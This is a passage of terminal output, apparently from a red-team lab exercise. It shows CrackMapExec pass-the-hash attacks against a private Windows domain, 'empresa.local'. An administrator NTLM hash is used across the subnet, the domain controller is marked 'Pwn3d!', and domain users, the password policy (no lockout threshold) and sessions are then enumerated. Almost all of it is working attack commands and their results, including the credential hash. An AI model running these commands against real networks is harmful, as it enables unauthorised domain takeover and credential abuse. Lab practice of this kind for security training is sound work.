SMB         10.0.2.2        445    DESKTOP-30M1UOD  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB         10.0.2.100      445    PDC              [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB         10.0.2.101      445    HETEAM           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.102      445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.30       445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB         10.0.2.100      445    PDC              [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB         10.0.2.101      445    HETEAM           [-] Connection Error: The NETBIOS connection with the remote host timed out.
```

```
┌──(root㉿kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
└─# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --users
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB         10.0.2.100      445    PDC              [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB         10.0.2.30       445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.102      445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.101      445    HETEAM           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB         10.0.2.100      445    PDC              [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB         10.0.2.30       445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.102      445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.101      445    HETEAM           [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_NO_LOGON_SERVERS
SMB         10.0.2.100      445    PDC              [+] Enumerated domain user(s)
SMB         10.0.2.100      445    PDC              empresa.local\bob                badpwdcount: 0 desc:
SMB         10.0.2.100      445    PDC              empresa.local\master             badpwdcount: 0 desc:
SMB         10.0.2.100      445    PDC              empresa.local\usuario            badpwdcount: 0 desc:
SMB         10.0.2.100      445    PDC              empresa.local\krbtgt             badpwdcount: 0 desc: Cuenta de servicio de centro de distribución de claves
SMB         10.0.2.100      445    PDC              empresa.local\Invitado           badpwdcount: 0 desc: Cuenta integrada para el acceso como invitado al equipo o dominio
SMB         10.0.2.100      445    PDC              empresa.local\Administrador      badpwdcount: 0 desc: Cuenta integrada para la administración del equipo o dominio
```

```
┌──(root㉿kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
└─# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --pass-pol
SMB         10.0.2.102      445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.30       445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.100      445    PDC              [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB         10.0.2.101      445    HETEAM           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB         10.0.2.102      445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.30       445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.100      445    PDC              [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB         10.0.2.100      445    PDC              [+] Dumping password info for domain: EMPRESA
SMB         10.0.2.100      445    PDC              Minimum password length: 7
SMB         10.0.2.100      445    PDC              Password history length: 24
SMB         10.0.2.100      445    PDC              Maximum password age: 41 days 23 hours 53 minutes
SMB         10.0.2.100      445    PDC
SMB         10.0.2.100      445    PDC              Password Complexity Flags: 000001
SMB         10.0.2.100      445    PDC                  Domain Refuse Password Change: 0
SMB         10.0.2.100      445    PDC                  Domain Password Store Cleartext: 0
SMB         10.0.2.100      445    PDC                  Domain Password Lockout Admins: 0
SMB         10.0.2.100      445    PDC                  Domain Password No Clear Change: 0
SMB         10.0.2.100      445    PDC                  Domain Password No Anon Change: 0
SMB         10.0.2.100      445    PDC                  Domain Password Complex: 1
SMB         10.0.2.100      445    PDC
SMB         10.0.2.100      445    PDC              Minimum password age: 1 day 4 minutes
SMB         10.0.2.100      445    PDC              Reset Account Lockout Counter: 30 minutes
SMB         10.0.2.100      445    PDC              Locked Account Duration: 30 minutes
SMB         10.0.2.100      445    PDC              Account Lockout Threshold: None
SMB         10.0.2.100      445    PDC              Forced Log off Time: Not Set
SMB         10.0.2.101      445    HETEAM           [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
```

```
┌──(root㉿kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
└─# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --sessions
SMB         10.0.2.101      445    HETEAM           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.30       445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.100      445    PDC              [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB         10.0.2.102      445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.101      445    HETEAM           [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_NO_LOGON_SERVERS
SMB         10.0.2.30       445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.100      445    PDC              [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB         10.0.2.102      445    PC1              [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB         10.0.2.100      445    PDC              [+] Enumerated sessions
```